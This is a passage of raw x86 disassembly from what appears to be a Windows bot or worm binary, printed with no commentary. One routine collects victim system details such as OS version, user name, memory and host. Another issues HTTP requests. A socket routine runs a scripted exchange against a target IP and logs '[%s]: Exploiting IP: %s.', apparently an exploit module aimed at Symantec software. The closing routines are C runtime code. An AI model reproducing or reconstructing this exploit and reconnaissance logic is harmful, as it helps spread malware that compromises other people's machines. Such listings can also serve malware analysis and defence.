mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB88
mov [ebp+var_CC], 94h
call dword_4270D0 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset dword_431620
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset dword_43161C
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset dword_431618
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset dword_431614
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset dword_431610
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset dword_43160C
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset dword_431604
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_436BB4
push eax
call sub_41C266
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383AC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43AC78
push ebx
mov esi, 409h
push ebx
push esi
call dword_427110 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_42710C ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_42719C ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C3B1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset dword_43AB9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp dword_4CBABC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB898 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41B298
lea eax, [ebp+var_8C]
push offset dword_43ACF0
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset dword_43ACE8
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset off_43ACE4
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+var_8]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE0
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43AC9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD0
call sub_41BF70
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BF70
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BF70
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BF70
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB8D0 ; InternetCrackUrlA
test eax, eax
jz loc_41B49C
cmp [ebp+var_34], ebx
jbe short loc_41B3D9
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB984
call dword_4CB9A8 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB99C ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB948 ; HttpSendRequestA
test eax, eax
jz short loc_41B495
push offset dword_43ADB4
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD78
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset dword_43AD5C
push eax
call sub_41C266
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD30
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset unk_43AD00
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_4]
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4DBCCC
push 0
push esi
call sub_41BF70
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_2 ; "%s"
push 0FFh
push esi
call sub_41C360
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B55B proc near ; CODE XREF: .packed:0041B843p
; .packed:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDD4
lea edi, [ebp+var_C]
mov ax, word_43ADD4
movsd
movsb
mov esi, offset dword_4DBDCC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CB88C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA24 ; send
push ebx
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA24 ; send
push esi
push ebx
call sub_41B9C0
pop ecx
push eax
push ebx
push edi
call dword_4CBA24 ; send
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA24 ; send
push [ebp+arg_4]
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA24 ; send
push esi
push [ebp+arg_4]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CBA24 ; send
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset dword_43ADEC
lea edi, [ebp-38h]
mov ax, word_4346DC
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDD4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE0
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADDC
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA6C ; closesocket
loc_41B724: ; CODE XREF: .packed:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9D4 ; htons
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: .packed:0041B7CEj
; .packed:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9EC ; recv
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: .packed:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA24 ; send
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: .packed:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA24 ; send
push 1
pop edi
loc_41B800: ; CODE XREF: .packed:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: .packed:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: .packed:0041B756j
; .packed:0041B7B2j ...
push ebx
call dword_4CBA6C ; closesocket
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: .packed:0041B781j
; .packed:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA24 ; send
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCCC
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: .packed:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCCC[eax]
push eax
push offset dword_43ADD8
lea eax, [ebp-20h]
push 3
push eax
call sub_41C360
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push edi
call sub_41B9C0
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: .packed:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi ; Sleep
push 2
pop edi
loc_41B8E7: ; CODE XREF: .packed:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi ; Sleep
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi ; Sleep
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi ; Sleep
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: .packed:0041B950j
push 258h
call esi ; Sleep
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA6C ; closesocket
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C360
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431800[eax]
push 1
lea eax, dword_431800[eax]
pop eax
loc_41B9B7: ; CODE XREF: .packed:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B9C0 proc near ; CODE XREF: sub_401000+34p
; sub_401221+14Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B9E0
loc_41B9CC: ; CODE XREF: sub_41B9C0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BA13
test ecx, 3
jnz short loc_41B9CC
add eax, 0
loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj
; sub_41B9C0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B9E0
mov eax, [ecx-4]
test al, al
jz short loc_41BA31
test ah, ah
jz short loc_41BA27
test eax, 0FF0000h
jz short loc_41BA1D
test eax, 0FF000000h
jz short loc_41BA13
jmp short loc_41B9E0
; ---------------------------------------------------------------------------
loc_41BA13: ; CODE XREF: sub_41B9C0+11j
; sub_41B9C0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B9C0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA27: ; CODE XREF: sub_41B9C0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+5809p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41BA50
or eax, 0FFFFFFFFh
jmp short loc_41BA8A
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA3B+Ej
test al, 83h
jz short loc_41BA88
push esi
call sub_41E42B
push esi
mov edi, eax
call sub_41E3C5
push dword ptr [esi+10h]
call sub_41E312
add esp, 0Ch
test eax, eax
jge short loc_41BA76
or edi, 0FFFFFFFFh
jmp short loc_41BA88
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41BA3B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA88
push eax
call sub_41BA91
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA88: ; CODE XREF: sub_41BA3B+17j
; sub_41BA3B+39j ...
mov eax, edi
loc_41BA8A: ; CODE XREF: sub_41BA3B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41BA3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_41BABD
push esi
call sub_41E717
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD384
call dword_42714C ; RtlFreeHeap
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p
; sub_40FA3C+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BB1E
xor eax, eax
jmp loc_41BBC7
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB31
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j
mov ecx, [ebp+arg_0]
loc_41BB3D: ; CODE XREF: sub_41BAFA+35j
; sub_41BAFA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB6F
mov eax, [esi+4]
test eax, eax
jz short loc_41BB6F
cmp ecx, eax
mov edi, ecx
jb short loc_41BB54
mov edi, eax
loc_41BB54: ; CODE XREF: sub_41BAFA+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CD20
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BB6F: ; CODE XREF: sub_41BAFA+49j
; sub_41BAFA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BBA2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BB85
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BB85: ; CODE XREF: sub_41BAFA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
test eax, eax
jz short loc_41BBCC
cmp eax, 0FFFFFFFFh
jz short loc_41BBD2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BAFA+78j
push esi
call sub_41F8E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BBD6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BBBA: ; CODE XREF: sub_41BAFA+73j
; sub_41BAFA+A6j
cmp [ebp+arg_0], 0
jnz loc_41BB3A
mov eax, [ebp+arg_8]
loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj
; sub_41BAFA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
